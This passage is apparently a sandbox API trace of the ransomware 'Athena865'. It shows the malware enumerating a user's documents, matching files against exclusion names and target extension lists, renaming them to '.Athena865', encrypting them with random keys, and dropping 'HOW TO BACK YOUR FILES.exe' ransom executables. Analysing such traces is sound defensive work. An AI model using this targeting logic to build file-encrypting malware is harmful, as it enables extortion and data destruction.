(lpString="p96") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="p96") returned -1 [0101.567] lstrlenW (lpString="p97") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="p97") returned -1 [0101.567] lstrlenW (lpString="pan") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="pan") returned -1 [0101.567] lstrlenW (lpString="pdb") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="pdb") returned -1 [0101.567] lstrlenW (lpString="pdm") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="pdm") returned -1 [0101.567] lstrlenW (lpString="pnz") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="pnz") returned -1 [0101.567] lstrlenW (lpString="qry") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="qry") returned -1 [0101.567] lstrlenW (lpString="qvd") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="qvd") returned -1 [0101.567] lstrlenW (lpString="rbf") returned 3 [0101.567] lstrcmpiW (lpString1="doc", lpString2="rbf") returned -1 [0101.567] lstrlenW (lpString="rctd") returned 4 [0101.567] lstrcmpiW (lpString1=".doc", lpString2="rctd") returned -1 [0101.568] lstrlenW (lpString="rod") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="rod") returned -1 [0101.568] lstrlenW (lpString="rodx") returned 4 [0101.568] lstrcmpiW (lpString1=".doc", lpString2="rodx") returned -1 [0101.568] lstrlenW (lpString="rpd") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="rpd") returned -1 [0101.568] lstrlenW (lpString="rsd") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="rsd") returned -1 [0101.568] lstrlenW (lpString="sas7bdat") returned 8 [0101.568] lstrcmpiW (lpString1="pZ8_.doc", lpString2="sas7bdat") returned -1 [0101.568] lstrlenW (lpString="sbf") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="sbf") returned -1 [0101.568] lstrlenW (lpString="scx") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="scx") returned -1 [0101.568] lstrlenW (lpString="sdb") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="sdb") returned -1 [0101.568] lstrlenW (lpString="sdc") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="sdc") returned -1 [0101.568] lstrlenW (lpString="sdf") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="sdf") returned -1 [0101.568] lstrlenW (lpString="sis") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="sis") returned -1 [0101.568] lstrlenW (lpString="spq") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="spq") returned -1 [0101.568] lstrlenW (lpString="te") returned 2 [0101.568] lstrcmpiW (lpString1="oc", lpString2="te") returned -1 [0101.568] lstrlenW (lpString="teacher") returned 7 [0101.568] lstrcmpiW (lpString1="Z8_.doc", lpString2="teacher") returned 1 [0101.568] lstrlenW (lpString="tmd") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="tmd") returned -1 [0101.568] lstrlenW (lpString="tps") returned 3 [0101.568] lstrcmpiW (lpString1="doc", lpString2="tps") returned -1 [0101.569] lstrlenW (lpString="trc") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="trc") returned -1 [0101.569] lstrlenW (lpString="trc") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="trc") returned -1 [0101.569] lstrlenW (lpString="trm") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="trm") returned -1 [0101.569] lstrlenW (lpString="udb") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="udb") returned -1 [0101.569] lstrlenW (lpString="udl") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="udl") returned -1 [0101.569] lstrlenW (lpString="usr") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="usr") returned -1 [0101.569] lstrlenW (lpString="v12") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="v12") returned -1 [0101.569] lstrlenW (lpString="vis") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="vis") returned -1 [0101.569] lstrlenW (lpString="vpd") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="vpd") returned -1 [0101.569] lstrlenW (lpString="vvv") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="vvv") returned -1 [0101.569] lstrlenW (lpString="wdb") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="wdb") returned -1 [0101.569] lstrlenW (lpString="wmdb") returned 4 [0101.569] lstrcmpiW (lpString1=".doc", lpString2="wmdb") returned -1 [0101.569] lstrlenW (lpString="wrk") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="wrk") returned -1 [0101.569] lstrlenW (lpString="xdb") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="xdb") returned -1 [0101.569] lstrlenW (lpString="xld") returned 3 [0101.569] lstrcmpiW (lpString1="doc", lpString2="xld") returned -1 [0101.569] lstrlenW (lpString="xmlff") returned 5 [0101.569] lstrcmpiW (lpString1="_.doc", lpString2="xmlff") returned -1 [0101.569] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\W4EwJ45n_ pZ8_.doc.Athena865") returned 94 [0101.570] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\W4EwJ45n_ pZ8_.doc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\w4ewj45n_ pz8_.doc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\W4EwJ45n_ pZ8_.doc.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\w4ewj45n_ pz8_.doc.athena865"), dwFlags=0x1) returned 1 [0101.570] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\W4EwJ45n_ pZ8_.doc.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\w4ewj45n_ pz8_.doc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.571] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40214) returned 1 [0101.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.571] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.572] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.572] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.572] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa020, lpName=0x0) returned 0x154 [0101.572] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa020) returned 0x100000 [0101.574] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.575] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.575] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.575] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.576] CloseHandle (hObject=0x154) returned 1 [0101.576] CloseHandle (hObject=0x17c) returned 1 [0101.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.577] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f77fe0, ftCreationTime.dwHighDateTime=0x1d4c972, ftLastAccessTime.dwLowDateTime=0x147a0e20, ftLastAccessTime.dwHighDateTime=0x1d4c935, ftLastWriteTime.dwLowDateTime=0x147a0e20, ftLastWriteTime.dwHighDateTime=0x1d4c935, nFileSizeHigh=0x0, nFileSizeLow=0x4886, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zvBfqjt.pdf", cAlternateFileName="")) returned 1 [0101.577] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.577] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.577] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2=".") returned 1 [0101.577] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="..") returned 1 [0101.577] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="windows") returned 1 [0101.577] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="bootmgr") returned 1 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="temp") returned 1 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="pagefile.sys") returned 1 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="boot") returned 1 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="ids.txt") returned 1 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="ntuser.dat") returned 1 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="perflogs") returned 1 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2="MSBuild") returned 1 [0101.578] lstrlenW (lpString="zvBfqjt.pdf") returned 11 [0101.578] lstrcpyW (in: lpString1=0x241e8cc, lpString2="zvBfqjt.pdf" | out: lpString1="zvBfqjt.pdf") returned="zvBfqjt.pdf" [0101.578] lstrlenW (lpString="zvBfqjt.pdf") returned 11 [0101.578] lstrlenW (lpString="Athena865") returned 9 [0101.578] lstrcmpiW (lpString1="Bfqjt.pdf", lpString2="Athena865") returned 1 [0101.578] lstrlenW (lpString=".dll") returned 4 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2=".dll") returned 1 [0101.578] lstrlenW (lpString=".lnk") returned 4 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2=".lnk") returned 1 [0101.578] lstrlenW (lpString=".ini") returned 4 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2=".ini") returned 1 [0101.578] lstrlenW (lpString=".sys") returned 4 [0101.578] lstrcmpiW (lpString1="zvBfqjt.pdf", lpString2=".sys") returned 1 [0101.578] lstrlenW (lpString="zvBfqjt.pdf") returned 11 [0101.578] lstrlenW (lpString="bak") returned 3 [0101.578] lstrcmpiW (lpString1="pdf", lpString2="bak") returned 1 [0101.578] lstrlenW (lpString="ba_") returned 3 [0101.578] lstrcmpiW (lpString1="pdf", lpString2="ba_") returned 1 [0101.578] lstrlenW (lpString="dbb") returned 3 [0101.578] lstrcmpiW (lpString1="pdf", lpString2="dbb") returned 1 [0101.578] lstrlenW (lpString="vmdk") returned 4 [0101.578] lstrcmpiW (lpString1=".pdf", lpString2="vmdk") returned -1 [0101.578] lstrlenW (lpString="rar") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="rar") returned -1 [0101.579] lstrlenW (lpString="zip") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="zip") returned -1 [0101.579] lstrlenW (lpString="tgz") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="tgz") returned -1 [0101.579] lstrlenW (lpString="vbox") returned 4 [0101.579] lstrcmpiW (lpString1=".pdf", lpString2="vbox") returned -1 [0101.579] lstrlenW (lpString="vdi") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="vdi") returned -1 [0101.579] lstrlenW (lpString="vhd") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="vhd") returned -1 [0101.579] lstrlenW (lpString="vhdx") returned 4 [0101.579] lstrcmpiW (lpString1=".pdf", lpString2="vhdx") returned -1 [0101.579] lstrlenW (lpString="avhd") returned 4 [0101.579] lstrcmpiW (lpString1=".pdf", lpString2="avhd") returned -1 [0101.579] lstrlenW (lpString="db") returned 2 [0101.579] lstrcmpiW (lpString1="df", lpString2="db") returned 1 [0101.579] lstrlenW (lpString="db2") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="db2") returned 1 [0101.579] lstrlenW (lpString="db3") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="db3") returned 1 [0101.579] lstrlenW (lpString="dbf") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="dbf") returned 1 [0101.579] lstrlenW (lpString="mdf") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="mdf") returned 1 [0101.579] lstrlenW (lpString="mdb") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="mdb") returned 1 [0101.579] lstrlenW (lpString="sql") returned 3 [0101.579] lstrcmpiW (lpString1="pdf", lpString2="sql") returned -1 [0101.579] lstrlenW (lpString="sqlite") returned 6 [0101.579] lstrcmpiW (lpString1="jt.pdf", lpString2="sqlite") returned -1 [0101.579] lstrlenW (lpString="sqlite3") returned 7 [0101.579] lstrcmpiW (lpString1="qjt.pdf", lpString2="sqlite3") returned -1 [0101.580] lstrlenW (lpString="sqlitedb") returned 8 [0101.580] lstrcmpiW (lpString1="fqjt.pdf", lpString2="sqlitedb") returned -1 [0101.580] lstrlenW (lpString="xml") returned 3 [0101.580] lstrcmpiW (lpString1="pdf", lpString2="xml") returned -1 [0101.580] lstrlenW (lpString="$er") returned 3 [0101.580] lstrcmpiW (lpString1="pdf", lpString2="$er") returned 1 [0101.580] lstrlenW (lpString="4dd") returned 3 [0101.580] lstrcmpiW (lpString1="pdf", lpString2="4dd") returned 1 [0101.580] lstrlenW (lpString="4dl") returned 3 [0101.580] lstrcmpiW (lpString1="pdf", lpString2="4dl") returned 1 [0101.580] lstrlenW (lpString="^^^") returned 3 [0101.580] lstrcmpiW (lpString1="pdf", lpString2="^^^") returned 1 [0101.580] lstrlenW (lpString="abs") returned 3 [0101.580] lstrcmpiW (lpString1="pdf", lpString2="abs") returned 1 [0101.580] lstrlenW (lpString="abx") returned 3 [0101.580] lstrcmpiW (lpString1="pdf", lpString2="abx") returned 1 [0101.580] lstrlenW (lpString="accdb") returned 5 [0101.580] lstrcmpiW (lpString1="t.pdf", lpString2="accdb") returned 1 [0101.580] lstrlenW (lpString="accdc") returned 5 [0101.580] lstrcmpiW (lpString1="t.pdf", lpString2="accdc") returned 1 [0101.580] lstrlenW (lpString="accde") returned 5 [0101.580] lstrcmpiW (lpString1="t.pdf", lpString2="accde") returned 1 [0101.580] lstrlenW (lpString="accdr") returned 5 [0101.580] lstrcmpiW (lpString1="t.pdf", lpString2="accdr") returned 1 [0101.580] lstrlenW (lpString="accdt") returned 5 [0101.580] lstrcmpiW (lpString1="t.pdf", lpString2="accdt") returned 1 [0101.580] lstrlenW (lpString="accdw") returned 5 [0101.580] lstrcmpiW (lpString1="t.pdf", lpString2="accdw") returned 1 [0101.580] lstrlenW (lpString="accft") returned 5 [0101.580] lstrcmpiW (lpString1="t.pdf", lpString2="accft") returned 1 [0101.580] lstrlenW (lpString="adb") returned 3 [0101.580] lstrcmpiW (lpString1="pdf", lpString2="adb") returned 1 [0101.581] lstrlenW (lpString="adb") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="adb") returned 1 [0101.581] lstrlenW (lpString="ade") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="ade") returned 1 [0101.581] lstrlenW (lpString="adf") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="adf") returned 1 [0101.581] lstrlenW (lpString="adn") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="adn") returned 1 [0101.581] lstrlenW (lpString="adp") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="adp") returned 1 [0101.581] lstrlenW (lpString="alf") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="alf") returned 1 [0101.581] lstrlenW (lpString="ask") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="ask") returned 1 [0101.581] lstrlenW (lpString="btr") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="btr") returned 1 [0101.581] lstrlenW (lpString="cat") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="cat") returned 1 [0101.581] lstrlenW (lpString="cdb") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="cdb") returned 1 [0101.581] lstrlenW (lpString="ckp") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="ckp") returned 1 [0101.581] lstrlenW (lpString="cma") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="cma") returned 1 [0101.581] lstrlenW (lpString="cpd") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="cpd") returned 1 [0101.581] lstrlenW (lpString="dacpac") returned 6 [0101.581] lstrcmpiW (lpString1="jt.pdf", lpString2="dacpac") returned 1 [0101.581] lstrlenW (lpString="dad") returned 3 [0101.581] lstrcmpiW (lpString1="pdf", lpString2="dad") returned 1 [0101.581] lstrlenW (lpString="dadiagrams") returned 10 [0101.581] lstrcmpiW (lpString1="vBfqjt.pdf", lpString2="dadiagrams") returned 1 [0101.581] lstrlenW (lpString="daschema") returned 8 [0101.582] lstrcmpiW (lpString1="fqjt.pdf", lpString2="daschema") returned 1 [0101.582] lstrlenW (lpString="db-journal") returned 10 [0101.582] lstrcmpiW (lpString1="vBfqjt.pdf", lpString2="db-journal") returned 1 [0101.582] lstrlenW (lpString="db-shm") returned 6 [0101.582] lstrcmpiW (lpString1="jt.pdf", lpString2="db-shm") returned 1 [0101.582] lstrlenW (lpString="db-wal") returned 6 [0101.582] lstrcmpiW (lpString1="jt.pdf", lpString2="db-wal") returned 1 [0101.582] lstrlenW (lpString="dbc") returned 3 [0101.582] lstrcmpiW (lpString1="pdf", lpString2="dbc") returned 1 [0101.582] lstrlenW (lpString="dbs") returned 3 [0101.582] lstrcmpiW (lpString1="pdf", lpString2="dbs") returned 1 [0101.582] lstrlenW (lpString="dbt") returned 3 [0101.582] lstrcmpiW (lpString1="pdf", lpString2="dbt") returned 1 [0101.582] lstrlenW (lpString="dbv") returned 3 [0101.582] lstrcmpiW (lpString1="pdf", lpString2="dbv") returned 1 [0101.582] lstrlenW (lpString="dbx") returned 3 [0101.582] lstrcmpiW (lpString1="pdf", lpString2="dbx") returned 1 [0101.582] lstrlenW (lpString="dcb") returned 3 [0101.582] lstrcmpiW (lpString1="pdf", lpString2="dcb") returned 1 [0101.582] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\zvBfqjt.pdf.Athena865") returned 87 [0101.582] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\zvBfqjt.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\zvbfqjt.pdf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\zvBfqjt.pdf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\zvbfqjt.pdf.athena865"), dwFlags=0x1) returned 1 [0101.583] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\zvBfqjt.pdf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\zvbfqjt.pdf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.583] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18566) returned 1 [0101.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.584] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.584] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.584] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.585] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b90, lpName=0x0) returned 0x154 [0101.585] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b90) returned 0x100000 [0101.586] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.586] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.586] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.587] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.587] CloseHandle (hObject=0x154) returned 1 [0101.587] CloseHandle (hObject=0x17c) returned 1 [0101.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.589] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f77fe0, ftCreationTime.dwHighDateTime=0x1d4c972, ftLastAccessTime.dwLowDateTime=0x147a0e20, ftLastAccessTime.dwHighDateTime=0x1d4c935, ftLastWriteTime.dwLowDateTime=0x147a0e20, ftLastWriteTime.dwHighDateTime=0x1d4c935, nFileSizeHigh=0x0, nFileSizeLow=0x4886, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zvBfqjt.pdf", cAlternateFileName="")) returned 0 [0101.589] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.589] ReleaseMutex (hMutex=0xec) returned 1 [0101.589] CloseHandle (hObject=0xec) returned 1 [0101.589] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0101.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0101.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b678 | out: hHeap=0x4f0000) returned 1 [0101.589] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned 65 [0101.589] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2768AD97249DC40B8F74C7B88AD3C027") returned 0xec [0101.589] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.589] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0101.589] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.589] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.590] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.590] GetLastError () returned 0x0 [0101.590] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.590] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.591] CloseHandle (hObject=0xf4) returned 1 [0101.591] HeapFree (in: hHeap=0x4f0000, 